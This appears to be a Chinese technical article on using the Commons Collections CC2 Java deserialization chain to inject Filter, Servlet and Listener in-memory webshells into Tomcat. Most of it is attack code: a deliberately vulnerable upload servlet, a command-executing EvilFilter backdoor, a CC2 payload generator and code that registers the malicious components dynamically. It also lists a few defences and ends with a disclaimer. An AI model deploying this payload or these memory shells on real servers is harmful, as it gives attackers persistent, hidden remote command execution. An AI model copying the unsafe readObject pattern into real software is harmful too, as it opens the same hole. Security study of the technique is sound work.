CC2反序列化武器化：一站式实现三大内存马持久化技术文档<\/h1>

1. 引言<\/h2>

1.1 无文件攻击背景<\/h3>
在网络安全防御体系日趋完善的背景下，传统文件型攻击手段面临严峻挑战。杀毒软件的实时监控、文件完整性校验、静态特征检测等技术使得基于文件落地的恶意代码难以长期存活，无文件攻击技术因此兴起。<\/p>

1.2 无文件攻击本质特征<\/h3>

内存驻留性<\/strong>：恶意代码直接运行在进程内存空间中，不产生或极少产生磁盘文件痕迹<\/li>
进程寄生性<\/strong>：依赖合法进程作为载体，将恶意代码注入到系统信任的进程中执行<\/li>

环境融合性<\/strong>：利用系统原生功能或应用程序的正常组件作为执行环境<\/li> <\/ul>
1.3 持久化机制技术原理<\/h3>

上下文绑定<\/strong>：将恶意组件注册到应用程序的运行时上下文中<\/li>
请求链路嵌入<\/strong>：将恶意代码植入HTTP请求处理的关键路径上<\/li>
依赖关系建立<\/strong>：通过建立与核心组件的依赖关系，使内存马生存周期与应用程序绑定<\/li> <\/ul>
1.4 反序列化漏洞的优势<\/h3>

信任边界穿透<\/strong>：反序列化操作通常发生在应用程序信任边界内部<\/li>
代码执行桥梁<\/strong>：通过反序列化链将数据转换成代码执行<\/li>
业务隐蔽性<\/strong>：反序列化流量被视为正常业务数据，难以被传统安全设备识别<\/li> <\/ul>
2. 漏洞利用前提条件<\/h2>
2.1 基本要求<\/h3>

可用的反序列化漏洞<\/strong>：找到接受序列化数据的入口点（HTTP参数、RMI等）<\/li>
合适的利用链<\/strong>：目标环境需存在包含漏洞的第三方库（Commons Collections、fastjson等）<\/li>
执行任意代码的能力<\/strong>：利用链最终需能执行Java代码<\/li> <\/ol>
2.2 内存马注入关键<\/h3>

获取Web上下文<\/strong>：获取当前Web容器的上下文（如StandardContext）<\/li>
动态注册恶意组件<\/strong>：向容器动态注册Filter、Controller等组件<\/li>
内存马兼容性<\/strong>：内存马需与目标中间件及JDK版本兼容<\/li> <\/ol>
2.3 环境与工具<\/h3>

中间件与框架<\/strong>：Tomcat、Spring、WebLogic等<\/li>
依赖库<\/strong>：Javassist用于动态生成字节码<\/li> <\/ul>
3. 环境搭建<\/h2>
3.1 服务端环境配置<\/h3>
<\/span> <\/span><\/span>web服务端：tomcat 9.0.107 <\/span><\/span>JDK版本：1.8.0_202（多数Java 8版本可用） <\/span><\/span>第三方库：Commons Collections 4.0 <\/span><\/span><\/code><\/pre>3.2 Maven项目配置<\/h3> <project<\/span> xmlns=<\/span>"http:\/\/maven.apache.org\/POM\/4.0.0"<\/span>><\/span> <\/span><\/span> <modelVersion><\/span>4.0.0<\/modelVersion><\/span> <\/span><\/span> <groupId><\/span>org.example<\/groupId><\/span> <\/span><\/span> <artifactId><\/span>JNDI_Memory<\/artifactId><\/span> <\/span><\/span> <packaging><\/span>war<\/packaging><\/span> <\/span><\/span> <version><\/span>1.0-SNAPSHOT<\/version><\/span> <\/span><\/span> <\/span><\/span> <dependencies><\/span> <\/span><\/span> <dependency><\/span> <\/span><\/span> <groupId><\/span>org.javassist<\/groupId><\/span> <\/span><\/span> <artifactId><\/span>javassist<\/artifactId><\/span> <\/span><\/span> <version><\/span>3.20.0-GA<\/version><\/span> <\/span><\/span> <\/dependency><\/span> <\/span><\/span> <dependency><\/span> <\/span><\/span> <groupId><\/span>javax.servlet<\/groupId><\/span> <\/span><\/span> <artifactId><\/span>javax.servlet-api<\/artifactId><\/span> <\/span><\/span> <version><\/span>3.1.0<\/version><\/span> <\/span><\/span> <\/dependency><\/span> <\/span><\/span> <dependency><\/span> <\/span><\/span> <groupId><\/span>org.apache.tomcat<\/groupId><\/span> <\/span><\/span> <artifactId><\/span>tomcat-catalina<\/artifactId><\/span> <\/span><\/span> <version><\/span>9.0.107<\/version><\/span> <\/span><\/span> <\/dependency><\/span> <\/span><\/span> <dependency><\/span> <\/span><\/span> <groupId><\/span>org.apache.commons<\/groupId><\/span> <\/span><\/span> <artifactId><\/span>commons-collections4<\/artifactId><\/span> <\/span><\/span> <version><\/span>4.0<\/version><\/span> <\/span><\/span> <\/dependency><\/span> <\/span><\/span> <\/dependencies><\/span> <\/span><\/span><\/project><\/span> <\/span><\/span><\/code><\/pre>3.3 Web.xml配置<\/h3> <web-app><\/span> <\/span><\/span> <servlet><\/span> <\/span><\/span> <servlet-name><\/span>upServlet<\/servlet-name><\/span> <\/span><\/span> <servlet-class><\/span>com.ser.UpServlet<\/servlet-class><\/span> <\/span><\/span> <\/servlet><\/span> <\/span><\/span> <servlet-mapping><\/span> <\/span><\/span> <servlet-name><\/span>upServlet<\/servlet-name><\/span> <\/span><\/span> <url-pattern><\/span>\/upload<\/url-pattern><\/span> <\/span><\/span> <\/servlet-mapping><\/span> <\/span><\/span><\/web-app><\/span> <\/span><\/span><\/code><\/pre>4. 漏洞页面实现<\/h2> 4.1 上传页面Servlet（存在反序列化漏洞）<\/h3> @MultipartConfig<\/span> <\/span><\/span>public<\/span> class<\/span> UpServlet<\/span> extends<\/span> HttpServlet {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> protected<\/span> void<\/span> doPost<\/span>(<\/span>HttpServletRequest req,<\/span> HttpServletResponse resp)<\/span> <\/span><\/span> throws<\/span> ServletException,<\/span> IOException {<\/span> <\/span><\/span> Part filePart =<\/span> req.<\/span>getPart<\/span>(<\/span>"file"<\/span>);<\/span> <\/span><\/span> String fileName =<\/span> filePart.<\/span>getSubmittedFileName<\/span>();<\/span> <\/span><\/span> <\/span><\/span> if<\/span> (<\/span>fileName ==<\/span> null<\/span> ||<\/span> fileName.<\/span>isEmpty<\/span>())<\/span> {<\/span> <\/span><\/span> resp.<\/span>getWriter<\/span>().<\/span>write<\/span>(<\/span>"请选择文件"<\/span>);<\/span> <\/span><\/span> return<\/span>;<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> InputStream fileInputStream =<\/span> filePart.<\/span>getInputStream<\/span>();<\/span> <\/span><\/span> byte<\/span>[]<\/span> fileBytes =<\/span> readFileBytes(<\/span>fileInputStream);<\/span> <\/span><\/span> ObjectInputStream ois =<\/span> new<\/span> ObjectInputStream(<\/span>new<\/span> ByteArrayInputStream(<\/span>fileBytes));<\/span> <\/span><\/span> resp.<\/span>getWriter<\/span>().<\/span>println<\/span>(<\/span>"succeed--"<\/span>);<\/span> <\/span><\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> ois.<\/span>readObject<\/span>();<\/span> \/\/ 反序列化漏洞点 <\/span><\/span><\/span><\/span> ois.<\/span>close<\/span>();<\/span> <\/span><\/span> }<\/span> catch<\/span> (<\/span>ClassNotFoundException e)<\/span> {<\/span> <\/span><\/span> throw<\/span> new<\/span> RuntimeException(<\/span>e);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> private<\/span> byte<\/span>[]<\/span> readFileBytes<\/span>(<\/span>InputStream inputStream)<\/span> throws<\/span> IOException {<\/span> <\/span><\/span> ByteArrayOutputStream buffer =<\/span> new<\/span> ByteArrayOutputStream();<\/span> <\/span><\/span> int<\/span> read;<\/span> <\/span><\/span> byte<\/span>[]<\/span> data =<\/span> new<\/span> byte<\/span>[<\/span>1024<\/span>];<\/span> <\/span><\/span> while<\/span> ((<\/span>read =<\/span> inputStream.<\/span>read<\/span>(<\/span>data,<\/span> 0<\/span>,<\/span> data.<\/span>length<\/span>))<\/span> !=<\/span> -<\/span>1<\/span>)<\/span> {<\/span> <\/span><\/span> buffer.<\/span>write<\/span>(<\/span>data,<\/span> 0<\/span>,<\/span> read);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> buffer.<\/span>flush<\/span>();<\/span> <\/span><\/span> return<\/span> buffer.<\/span>toByteArray<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>4.2 测试页面Servlet<\/h3> @WebServlet<\/span>(<\/span>"\/post"<\/span>)<\/span> <\/span><\/span>public<\/span> class<\/span> PostTest<\/span> extends<\/span> HttpServlet {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> protected<\/span> void<\/span> doPost<\/span>(<\/span>HttpServletRequest req,<\/span> HttpServletResponse resp)<\/span> <\/span><\/span> throws<\/span> ServletException,<\/span> IOException {<\/span> <\/span><\/span> String base64 =<\/span> req.<\/span>getParameter<\/span>(<\/span>"base64"<\/span>);<\/span> <\/span><\/span> byte<\/span>[]<\/span> decode =<\/span> Base64.<\/span>getDecoder<\/span>().<\/span>decode<\/span>(<\/span>base64);<\/span> <\/span><\/span> ByteArrayInputStream bis =<\/span> new<\/span> ByteArrayInputStream(<\/span>decode);<\/span> <\/span><\/span> ObjectInputStream ois =<\/span> new<\/span> ObjectInputStream(<\/span>bis);<\/span> <\/span><\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> ois.<\/span>readObject<\/span>();<\/span> \/\/ 反序列化漏洞点 <\/span><\/span><\/span><\/span> }<\/span> catch<\/span> (<\/span>ClassNotFoundException e)<\/span> {<\/span> <\/span><\/span> throw<\/span> new<\/span> RuntimeException(<\/span>e);<\/span> <\/span><\/span> }<\/span> finally<\/span> {<\/span> <\/span><\/span> ois.<\/span>close<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>5. CC2利用链原理分析<\/h2> 5.1 CC2链核心组件<\/h3> PriorityQueue<\/strong>：触发比较器执行的队列类<\/li> TransformingComparator<\/strong>：用于转换比较的比较器<\/li> TemplatesImpl<\/strong>：加载和执行恶意字节码的核心类<\/li> InvokerTransformer<\/strong>：通过反射调用指定方法<\/li> <\/ul> 5.2 利用链执行流程<\/h3> 反序列化PriorityQueue对象<\/li> PriorityQueue在反序列化过程中触发排序操作<\/li> 排序调用TransformingComparator的compare方法<\/li> compare方法调用InvokerTransformer的transform方法<\/li> transform方法通过反射调用TemplatesImpl的newTransformer方法<\/li> newTransformer方法触发字节码加载和执行<\/li> <\/ol> 6. 攻击端实现<\/h2> 6.1 获取Web上下文（StandardContext）<\/h3> \/\/ 通过线程上下文类加载器获取StandardContext <\/span><\/span><\/span><\/span>WebappClassLoaderBase webappClassLoaderBase =<\/span> <\/span><\/span> (<\/span>WebappClassLoaderBase)<\/span> Thread.<\/span>currentThread<\/span>().<\/span>getContextClassLoader<\/span>();<\/span> <\/span><\/span>StandardContext standardContext =<\/span> null<\/span>;<\/span> <\/span><\/span> <\/span><\/span>try<\/span> {<\/span> <\/span><\/span> Field field =<\/span> webappClassLoaderBase.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"resources"<\/span>);<\/span> <\/span><\/span> field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> Object root =<\/span> field.<\/span>get<\/span>(<\/span>webappClassLoaderBase);<\/span> <\/span><\/span> field =<\/span> root.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>"context"<\/span>);<\/span> <\/span><\/span> field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> standardContext =<\/span> (<\/span>StandardContext)<\/span> field.<\/span>get<\/span>(<\/span>root);<\/span> <\/span><\/span>}<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span> <\/span><\/span> e.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>6.2 恶意Filter类实现<\/h3> public<\/span> class<\/span> EvilFilter<\/span> implements<\/span> Filter {<\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> void<\/span> init<\/span>(<\/span>FilterConfig filterConfig)<\/span> throws<\/span> ServletException {}<\/span> <\/span><\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> void<\/span> doFilter<\/span>(<\/span>ServletRequest servletRequest,<\/span> ServletResponse servletResponse,<\/span> <\/span><\/span> FilterChain filterChain)<\/span> throws<\/span> IOException,<\/span> ServletException {<\/span> <\/span><\/span> HttpServletRequest req =<\/span> (<\/span>HttpServletRequest)<\/span> servletRequest;<\/span> <\/span><\/span> String cmd =<\/span> req.<\/span>getParameter<\/span>(<\/span>"cmd"<\/span>);<\/span> <\/span><\/span> <\/span><\/span> if<\/span> (<\/span>cmd !=<\/span> null<\/span>)<\/span> {<\/span> <\/span><\/span> try<\/span> {<\/span> <\/span><\/span> Process process =<\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>cmd);<\/span> <\/span><\/span> BufferedReader reader =<\/span> new<\/span> BufferedReader(<\/span> <\/span><\/span> new<\/span> InputStreamReader(<\/span>process.<\/span>getInputStream<\/span>()));<\/span> <\/span><\/span> String line;<\/span> <\/span><\/span> while<\/span> ((<\/span>line =<\/span> reader.<\/span>readLine<\/span>())<\/span> !=<\/span> null<\/span>)<\/span> {<\/span> <\/span><\/span> servletResponse.<\/span>getWriter<\/span>().<\/span>println<\/span>(<\/span>line);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> reader.<\/span>close<\/span>();<\/span> <\/span><\/span> }<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span> <\/span><\/span> e.<\/span>printStackTrace<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> return<\/span>;<\/span> <\/span><\/span> }<\/span> <\/span><\/span> filterChain.<\/span>doFilter<\/span>(<\/span>servletRequest,<\/span> servletResponse);<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> @Override<\/span> <\/span><\/span> public<\/span> void<\/span> destroy<\/span>()<\/span> {}<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>6.3 CC2利用链POC实现<\/h3> public<\/span> class<\/span> CC2Exploit<\/span> {<\/span> <\/span><\/span> public<\/span> static<\/span> byte<\/span>[]<\/span> generatePayload<\/span>()<\/span> throws<\/span> Exception {<\/span> <\/span><\/span> \/\/ 使用Javassist生成恶意字节码 <\/span><\/span><\/span><\/span> ClassPool classPool =<\/span> ClassPool.<\/span>getDefault<\/span>();<\/span> <\/span><\/span> CtClass evilFilterClass =<\/span> classPool.<\/span>makeClass<\/span>(<\/span>"EvilFilter"<\/span>);<\/span> <\/span><\/span> evilFilterClass.<\/span>setSuperclass<\/span>(<\/span>classPool.<\/span>get<\/span>(<\/span>"javax.servlet.http.HttpServlet"<\/span>));<\/span> <\/span><\/span> <\/span><\/span> \/\/ 创建恶意代码 <\/span><\/span><\/span><\/span> CtConstructor constructor =<\/span> evilFilterClass.<\/span>makeClassInitializer<\/span>();<\/span> <\/span><\/span> constructor.<\/span>setBody<\/span>(<\/span> <\/span><\/span> "try {"<\/span> +<\/span> <\/span><\/span> " javax.servlet.ServletContext context = getServletContext();"<\/span> +<\/span> <\/span><\/span> " org.apache.catalina.core.ApplicationContext appContext = "<\/span> +<\/span> <\/span><\/span> " (org.apache.catalina.core.ApplicationContext) context;"<\/span> +<\/span> <\/span><\/span> " org.apache.catalina.core.StandardContext standardContext = "<\/span> +<\/span> <\/span><\/span> " (org.apache.catalina.core.StandardContext) appContext.getContext();"<\/span> +<\/span> <\/span><\/span> " \/\/ 动态注册Filter的代码..."<\/span> +<\/span> <\/span><\/span> "} catch (Exception e) { e.printStackTrace(); }"<\/span> <\/span><\/span> );<\/span> <\/span><\/span> <\/span><\/span> byte<\/span>[]<\/span> evilBytecode =<\/span> evilFilterClass.<\/span>toBytecode<\/span>();<\/span> <\/span><\/span> <\/span><\/span> \/\/ 构建CC2利用链 <\/span><\/span><\/span><\/span> TemplatesImpl templates =<\/span> new<\/span> TemplatesImpl();<\/span> <\/span><\/span> setFieldValue(<\/span>templates,<\/span> "_name"<\/span>,<\/span> "evil"<\/span>);<\/span> <\/span><\/span> setFieldValue(<\/span>templates,<\/span> "_bytecodes"<\/span>,<\/span> new<\/span> byte<\/span>[][]{<\/span>evilBytecode});<\/span> <\/span><\/span> setFieldValue(<\/span>templates,<\/span> "_tfactory"<\/span>,<\/span> new<\/span> TransformerFactoryImpl());<\/span> <\/span><\/span> <\/span><\/span> InvokerTransformer transformer =<\/span> new<\/span> InvokerTransformer(<\/span>"newTransformer"<\/span>,<\/span> null<\/span>,<\/span> null<\/span>);<\/span> <\/span><\/span> TransformingComparator comparator =<\/span> new<\/span> TransformingComparator(<\/span>transformer);<\/span> <\/span><\/span> <\/span><\/span> PriorityQueue queue =<\/span> new<\/span> PriorityQueue(<\/span>2<\/span>,<\/span> comparator);<\/span> <\/span><\/span> Object[]<\/span> queueArray =<\/span> new<\/span> Object[]{<\/span>templates,<\/span> templates};<\/span> <\/span><\/span> setFieldValue(<\/span>queue,<\/span> "queue"<\/span>,<\/span> queueArray);<\/span> <\/span><\/span> setFieldValue(<\/span>queue,<\/span> "size"<\/span>,<\/span> 2<\/span>);<\/span> <\/span><\/span> <\/span><\/span> \/\/ 序列化payload <\/span><\/span><\/span><\/span> ByteArrayOutputStream bos =<\/span> new<\/span> ByteArrayOutputStream();<\/span> <\/span><\/span> ObjectOutputStream oos =<\/span> new<\/span> ObjectOutputStream(<\/span>bos);<\/span> <\/span><\/span> oos.<\/span>writeObject<\/span>(<\/span>queue);<\/span> <\/span><\/span> oos.<\/span>close<\/span>();<\/span> <\/span><\/span> <\/span><\/span> return<\/span> bos.<\/span>toByteArray<\/span>();<\/span> <\/span><\/span> }<\/span> <\/span><\/span> <\/span><\/span> private<\/span> static<\/span> void<\/span> setFieldValue<\/span>(<\/span>Object obj,<\/span> String fieldName,<\/span> Object value)<\/span> <\/span><\/span> throws<\/span> Exception {<\/span> <\/span><\/span> Field field =<\/span> obj.<\/span>getClass<\/span>().<\/span>getDeclaredField<\/span>(<\/span>fieldName);<\/span> <\/span><\/span> field.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span> <\/span><\/span> field.<\/span>set<\/span>(<\/span>obj,<\/span> value);<\/span> <\/span><\/span> }<\/span> <\/span><\/span>}<\/span> <\/span><\/span><\/code><\/pre>7. 三大内存马实现<\/h2> 7.1 Filter内存马注入<\/h3> \/\/ 动态注册Filter到StandardContext <\/span><\/span><\/span><\/span>FilterDef filterDef =<\/span> new<\/span> FilterDef();<\/span> <\/span><\/span>filterDef.<\/span>setFilterName<\/span>(<\/span>"evilFilter"<\/span>);<\/span> <\/span><\/span>filterDef.<\/span>setFilterClass<\/span>(<\/span>EvilFilter.<\/span>class<\/span>.<\/span>getName<\/span>());<\/span> <\/span><\/span>filterDef.<\/span>setFilter<\/span>(<\/span>new<\/span> EvilFilter());<\/span> <\/span><\/span> <\/span><\/span>standardContext.<\/span>addFilterDef<\/span>(<\/span>filterDef);<\/span> <\/span><\/span> <\/span><\/span>FilterMap filterMap =<\/span> new<\/span> FilterMap();<\/span> <\/span><\/span>filterMap.<\/span>setFilterName<\/span>(<\/span>"evilFilter"<\/span>);<\/span> <\/span><\/span>filterMap.<\/span>addURLPattern<\/span>(<\/span>"\/*"<\/span>);<\/span> <\/span><\/span>standardContext.<\/span>addFilterMap<\/span>(<\/span>filterMap);<\/span> <\/span><\/span> <\/span><\/span>\/\/ 初始化Filter <\/span><\/span><\/span><\/span>Filter filter =<\/span> new<\/span> EvilFilter();<\/span> <\/span><\/span>filter.<\/span>init<\/span>(<\/span>null<\/span>);<\/span> <\/span><\/span><\/code><\/pre>7.2 Servlet内存马注入<\/h3> \/\/ 创建Wrapper并注册Servlet <\/span><\/span><\/span><\/span>Wrapper wrapper =<\/span> standardContext.<\/span>createWrapper<\/span>();<\/span> <\/span><\/span>wrapper.<\/span>setName<\/span>(<\/span>"evilServlet"<\/span>);<\/span> <\/span><\/span>wrapper.<\/span>setLoadOnStartup<\/span>(<\/span>1<\/span>);<\/span> <\/span><\/span>wrapper.<\/span>setServletClass<\/span>(<\/span>EvilServlet.<\/span>class<\/span>.<\/span>getName<\/span>());<\/span> <\/span><\/span>wrapper.<\/span>setServlet<\/span>(<\/span>new<\/span> EvilServlet());<\/span> <\/span><\/span> <\/span><\/span>standardContext.<\/span>addChild<\/span>(<\/span>wrapper);<\/span> <\/span><\/span>standardContext.<\/span>addServletMappingDecoded<\/span>(<\/span>"\/evil"<\/span>,<\/span> "evilServlet"<\/span>);<\/span> <\/span><\/span><\/code><\/pre>7.3 Listener内存马注入<\/h3> \/\/ 注册恶意Listener <\/span><\/span><\/span><\/span>standardContext.<\/span>addApplicationEventListener<\/span>(<\/span>new<\/span> EvilListener());<\/span> <\/span><\/span><\/code><\/pre>8. 完整攻击流程<\/h2> 8.1 攻击步骤<\/h3> 探测漏洞<\/strong>：确认目标存在反序列化漏洞入口<\/li> 环境检测<\/strong>：识别目标中间件版本和依赖库<\/li> 构造payload<\/strong>：根据目标环境生成对应的CC2利用链<\/li> 注入内存马<\/strong>：通过反序列化执行恶意代码，动态注册内存马<\/li> 维持访问<\/strong>：通过内存马建立持久化后门<\/li> <\/ol> 8.2 防御检测<\/h3> 输入验证<\/strong>：对反序列化数据源进行严格校验<\/li> 类过滤<\/strong>：使用ObjectInputFilter限制可反序列化的类<\/li> 安全配置<\/strong>：及时更新依赖库，移除不必要的序列化功能<\/li> 监控检测<\/strong>：监控异常反序列化操作和动态组件注册行为<\/li> <\/ol> 9. 技术要点总结<\/h2> 9.1 关键技术创新点<\/h3> 结合CC2反序列化链与内存马注入技术<\/li> 实现一站式三大内存马（Filter、Servlet、Listener）持久化<\/li> 通过动态字节码生成技术绕过静态检测<\/li> <\/ul> 9.2 技术难点解决方案<\/h3> 上下文获取<\/strong>：通过线程类加载器机制获取StandardContext<\/li> 兼容性问题<\/strong>：适配不同Tomcat版本和JDK环境<\/li> 隐蔽性保障<\/strong>：内存驻留，无文件落地<\/li> <\/ul> 9.3 应用场景<\/h3> 红队渗透测试中的权限维持<\/li> 安全研究中的攻击技术验证<\/li> 企业安全防护能力评估<\/li> <\/ul> 10. 免责声明<\/h2> 本文仅用于安全研究和教育目的，任何个人或组织不得将文中描述的技术用于非法用途。使用者应遵守《中华人民共和国网络安全法》等相关法律法规，因滥用技术而导致的任何后果由使用者自行承担。<\/p>